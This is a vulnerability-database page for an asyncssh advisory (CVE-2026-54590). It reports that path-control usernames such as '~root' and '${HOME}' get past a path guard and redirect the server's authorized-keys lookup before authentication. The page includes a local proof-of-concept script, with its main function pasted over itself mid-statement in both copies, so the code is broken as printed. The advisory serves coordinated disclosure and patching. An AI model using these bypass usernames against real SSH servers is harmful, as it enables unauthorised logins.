GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-QR67-GV47-XWWH

Vulnerability from github – Published: 2026-08-26 15:32 – Updated: 2026-08-26 15:32
VLAI
Summary
asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution
Details

Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The 2.23.0 guard that sanitises the SSH username before %u substitution in AuthorizedKeysFile blocks /, \ and .., but does not block a leading ~ (or ${ENV}), both of which are re-introduced by later expansion and reach the file open — defeating the guard.

Affected: asyncssh 2.23.0 and current develop (commit a60f863, HEAD on 2026-05-29).

## Summary The fix for CVE-2026-45309 added a guard in SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that rejects an SSH username containing /, \, or equal to .., before it is substituted for the %u token in AuthorizedKeysFile:

  if self._user == '..' or '/' in self._user or '\\' in self._user:
      raise IllegalUserName('Unsafe username substitution')

However, the %u-substituted value is subsequently passed through environment-variable expansion (_expand_val, config.py:145-149 — token expansion then env expansion) and, at file-open time, through expanduser() (read_authorized_keysread_fileopen(Path(filename).expanduser()), auth_keys.py:348misc.py:290). Both re-introduce the path control the guard was meant to remove, so a username that contains no //\ can still cause the server to read an authorized-keys file outside the intended per-user directory.

The client-supplied username reaches this path pre-authentication: _process_userauth_request takes the username from the SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and _finish_userauth calls reload_config() (connection.py:2536), which re-evaluates AuthorizedKeysFile with username=self._username (connection.py:5906) before the offered key is validated.

## Primary vector — leading ~ A username such as ~root or ~victim passes the guard (no /). For a server whose AuthorizedKeysFile begins with %u — e.g. AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is ~victim/.ssh/authorized_keys, which expanduser() resolves to /home/victim/.ssh/authorized_keys (~root/root/...; a bare ~ → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard.

Note: expanduser() only expands a leading ~, so this vector requires %u to be the first path component of AuthorizedKeysFile. (The CVE-2026-45309 authorized_keys/%u example — %u not leading — is not reachable this way; that was the ../ form.)

## Impact and limitations - Demonstrated (verified against source at a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored C:N/I:H/A:N; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for ~/${ENV}. - Preconditions (captured by AC:H): %u must be the leading path component; on Python 3.13, Path('~nonexistentuser').expanduser() raises RuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).

## Secondary vector — ${ENV} (defense-in-depth only) A username like ${HOME} also passes the guard and is then environment-expanded, re-introducing /. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises ConfigParseError) and cannot control their values. Reported as hardening.

## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:

  cd /path/to/asyncssh
  PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py

Output (abridged):

  [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)
      literal-slash user '/etc' blocked:           True
  [A] tilde bypass  user '~root':
      guard blocks it? False        (False == bypass)
      expanded config value : ['~root/.ssh/authorized_keys']
      after expanduser()    : /root/.ssh/authorized_keys   <-- read  as authorized_keys
  VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)

## Suggested fix Tighten _set_tokens to also reject usernames that re-introduce path control after expansion — reject a leading ~ / ~user and $/${ references in self._user. More robustly, validate that the FINAL expanded AuthorizedKeysFile path remains within the intended base directory, and/or suppress expanduser/environment expansion on the %u-derived component specifically.

## Disclosure Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to cesabici-bit.

## PoC source (see code block below)

 #!/usr/bin/env python3
  """
  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
  control). Local-only, in-process, deterministic. No network.

  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
  SSHServerConfig._set_tokens that rejects a client username containing
  '/', '\\', or equal to '..' before it is substituted for the %u token in
  the server's AuthorizedKeysFile directive.

  This PoC shows the blocklist is bypassable: the %u value is afterwards run
  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
  re-introduce the path control the guard was meant to remove.

  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
  a separator-free username (e.g. '~root') escape to another home tree when %u
  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
  only REFERENCE env vars that already exist on the server and cannot control
  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
  illustrate the expansion, and does NOT represent attacker capability. Treat (1)
  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.

  Run from a checkout of asyncssh (cwd on sys.path), e.g.:
      cd /tmp/targets/asyncssh && python3 <thisfile>
  """

  import os
  import sys
  import tempfile
  from pathlib import Path

  import asyncssh
  from asyncssh.config import SSHServerConfig

  try:
      from asyncssh.misc import IllegalUserName
  except Exception:  # pragma: no cover
      IllegalUserName = asyncssh.IllegalUserName


  def expand_authkeys(user, cfg_text):
      """Load a server config exactly as SSHServerConnection does and return the
      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
      CVE-2026-45309 guard fires."""
      with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
          f.write(cfg_text)
          cfg_path = f.name
      try:
          # mirror connection.py:8897
          #   SSHServerConfig.load(last_config, config, reload, canonical, final,
          #                        accept_addr, accept_port, username,
          #                        client_host, client_addr)
          cfg = SSHServerConfig.load(
              None, cfg_path, True, False, False,
              "127.0.0.1", 22, user, "client.example", "203.0.113.7",
          )
          return cfg.get("AuthorizedKeysFile")
      finally:
          os.unlink(cfg_path)


  def guard_blocks(user, cfg_text):
      """Return True if the CVE-2026-45309 guard rejects this username."""
      try:
          expand_authkeys(user, cfg_text)
          return False
      except IllegalUserName:
          return True


  def main():
      print(f"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})")
      print(f"# python {sys.version.split()[0]}\n")

      results = []

      # ---- Sanity 0: benign username expands normally -----------------------
      cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
      val = expand_authkeys("alice", cfg)
      print(f"[0] benign user 'alice':            {val}")
      results.append(("benign expands to per-user path",
                      val == ["/etc/ssh/authorized_keys.d/alice"]))

      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
      blocked = guard_blocks("../../../../tmp/evil", cfg)
      print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
      results.append(("original CVE traversal is blocked (fix present)", blocked))

      # also: a literal slash is blocked (the guard's whole purpose)
      slash_blocked = guard_blocks("/etc", cfg)
      print(f"    literal-slash user '/etc' blocked: {slash_blocked}")
      results.append(("literal-slash username is blocked", slash_blocked))

      print()

      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
      cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
      blocked_a = guard_blocks("~root", cfg_a)
      val_a = expand_authkeys("~root", cfg_a)
      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does
      print(f"[A] tilde bypass  user '~root':")
      print(f"    guard blocks it? {blocked_a}   (False == bypass)")
      print(f"    expanded config value : {val_a}")
      print(f"    after expanduser()    : {resolved_a}   <-- read as authorized_keys")
      results.append(("A: ~user NOT blocked by guard", not blocked_a))
      results.append(("A: expanduser() redirects to another home tree",
                      resolved_a.startswith("/root/") or "~" not in resolved_a))

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '${{HOME}}':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b} (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '${{HOME}}':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b}   (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",
            "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
            if ok else "one or more checks did not hold")
      return 0 if ok else 1


  if __name__ == "__main__":
      sys.exit(main())
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.23.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.23.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T15:32:00Z",
    "nvd_published_at": "2026-07-08T21:16:49Z",
    "severity": "MODERATE"
  },
  "details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n  2.23.0 guard that sanitises the SSH username before `%u` substitution\n  in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n  leading `~` (or `${ENV}`), both of which are re-introduced by later\n  expansion and reach the file open \u2014 defeating the guard.\n\n  **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n  HEAD on 2026-05-29).\n\n  ## Summary\n  The fix for CVE-2026-45309 added a guard in\n  `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n  rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n  it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n      if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n          raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n  However, the `%u`-substituted value is subsequently passed through\n  environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n  token expansion then env expansion) and, at file-open time, through\n  `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n  `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n  `misc.py:290`). Both re-introduce the path control the guard was meant\n  to remove, so a username that contains no `/`/`\\` can still cause the\n  server to read an authorized-keys file outside the intended per-user\n  directory.\n\n  The client-supplied username reaches this path pre-authentication:\n  `_process_userauth_request` takes the username from the\n  `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n  `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n  which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n  (`connection.py:5906`) before the offered key is validated.\n\n  ## Primary vector \u2014 leading `~`\n  A username such as `~root` or `~victim` passes the guard (no `/`). For\n  a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n  `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n  `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n  `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n  \u2192 the server process\u0027s home). The username has therefore escaped the\n  intended per-user location without using any path separator \u2014\n  defeating the purpose of the guard.\n\n  Note: `expanduser()` only expands a leading `~`, so this vector\n  requires `%u` to be the first path component of `AuthorizedKeysFile`.\n  (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n  is not reachable this way; that was the `../` form.)\n\n  ## Impact and limitations\n  - Demonstrated (verified against source at `a60f863`): the guard is\n  bypassable and the authorized-keys lookup is redirected to an\n  attacker-named home tree, pre-auth, with a separator-free username.\n  - Impact model = identical to CVE-2026-45309: authenticating as the\n  redirected username when a readable authorized-keys file containing\n  the attacker\u0027s key is reachable at the redirected location. The parent\n  CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n  this is scored consistently.\n  - Not built: a live multi-account SSH auth harness; the PoC verifies\n  the path-redirection mechanism in-process, deterministically. No new\n  primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n  that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n  - Preconditions (captured by AC:H): `%u` must be the leading path\n  component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n  raises `RuntimeError`, so only existing accounts are reachable\n  (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n  ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n  A username like `${HOME}` also passes the guard and is then\n  environment-expanded, re-introducing `/`. Weaker and not a practical\n  exploit: the attacker can only reference env vars that already exist\n  in the server process (a missing variable raises `ConfigParseError`)\n  and cannot control their values. Reported as hardening.\n\n  ## Reproduction\n  In-process, deterministic, no network. Against a checkout of asyncssh\n  2.23.0:\n\n      cd /path/to/asyncssh\n      PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n  Output (abridged):\n\n      [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True   (fix present)\n          literal-slash user \u0027/etc\u0027 blocked:           True\n      [A] tilde bypass  user \u0027~root\u0027:\n          guard blocks it? False        (False == bypass)\n          expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n          after expanduser()    : /root/.ssh/authorized_keys   \u003c-- read  as authorized_keys\n      VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n  ## Suggested fix\n  Tighten `_set_tokens` to also reject usernames that re-introduce path\n  control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n  references in `self._user`. More robustly, validate that the FINAL\n  expanded `AuthorizedKeysFile` path remains within the intended base\n  directory, and/or suppress `expanduser`/environment expansion on the\n  `%u`-derived component specifically.\n\n  ## Disclosure\n  Coordinated, ~90-day default. I will not publish details/PoC before a\n  fix is released, and am happy to validate the patch. Credit (if given)\n  to `cesabici-bit`.\n\n  ## PoC source\n  (see code block below)\n\n```python\n #!/usr/bin/env python3\n  \"\"\"\n  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n  control). Local-only, in-process, deterministic. No network.\n\n  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n  SSHServerConfig._set_tokens that rejects a client username containing\n  \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n  the server\u0027s AuthorizedKeysFile directive.\n\n  This PoC shows the blocklist is bypassable: the %u value is afterwards run\n  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n  re-introduce the path control the guard was meant to remove.\n\n  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n  a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n  only REFERENCE env vars that already exist on the server and cannot control\n  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n  illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n  Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n      cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n  \"\"\"\n\n  import os\n  import sys\n  import tempfile\n  from pathlib import Path\n\n  import asyncssh\n  from asyncssh.config import SSHServerConfig\n\n  try:\n      from asyncssh.misc import IllegalUserName\n  except Exception:  # pragma: no cover\n      IllegalUserName = asyncssh.IllegalUserName\n\n\n  def expand_authkeys(user, cfg_text):\n      \"\"\"Load a server config exactly as SSHServerConnection does and return the\n      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n      CVE-2026-45309 guard fires.\"\"\"\n      with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n          f.write(cfg_text)\n          cfg_path = f.name\n      try:\n          # mirror connection.py:8897\n          #   SSHServerConfig.load(last_config, config, reload, canonical, final,\n          #                        accept_addr, accept_port, username,\n          #                        client_host, client_addr)\n          cfg = SSHServerConfig.load(\n              None, cfg_path, True, False, False,\n              \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n          )\n          return cfg.get(\"AuthorizedKeysFile\")\n      finally:\n          os.unlink(cfg_path)\n\n\n  def guard_blocks(user, cfg_text):\n      \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n      try:\n          expand_authkeys(user, cfg_text)\n          return False\n      except IllegalUserName:\n          return True\n\n\n  def main():\n      print(f\"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})\")\n      print(f\"# python {sys.version.split()[0]}\\n\")\n\n      results = []\n\n      # ---- Sanity 0: benign username expands normally -----------------------\n      cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n      val = expand_authkeys(\"alice\", cfg)\n      print(f\"[0] benign user \u0027alice\u0027:            {val}\")\n      results.append((\"benign expands to per-user path\",\n                      val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n      blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n      print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n      results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n      # also: a literal slash is blocked (the guard\u0027s whole purpose)\n      slash_blocked = guard_blocks(\"/etc\", cfg)\n      print(f\"    literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n      results.append((\"literal-slash username is blocked\", slash_blocked))\n\n      print()\n\n      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n      cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n      blocked_a = guard_blocks(\"~root\", cfg_a)\n      val_a = expand_authkeys(\"~root\", cfg_a)\n      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does\n      print(f\"[A] tilde bypass  user \u0027~root\u0027:\")\n      print(f\"    guard blocks it? {blocked_a}   (False == bypass)\")\n      print(f\"    expanded config value : {val_a}\")\n      print(f\"    after expanduser()    : {resolved_a}   \u003c-- read as authorized_keys\")\n      results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n      results.append((\"A: expanduser() redirects to another home tree\",\n                      resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n      # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n      # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n      # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user \u0027${{HOME}}\u0027:\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains \u0027/\u0027 after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n      # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n      # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n      # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user \u0027${{HOME}}\u0027:\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b}   (HOME={os.environ[\u0027HOME\u0027]})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains \u0027/\u0027 after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n            \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n            if ok else \"one or more checks did not hold\")\n      return 0 if ok else 1\n\n\n  if __name__ == \"__main__\":\n      sys.exit(main())\n```",
  "id": "GHSA-qr67-gv47-xwwh",
  "modified": "2026-08-26T15:32:00Z",
  "published": "2026-08-26T15:32:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…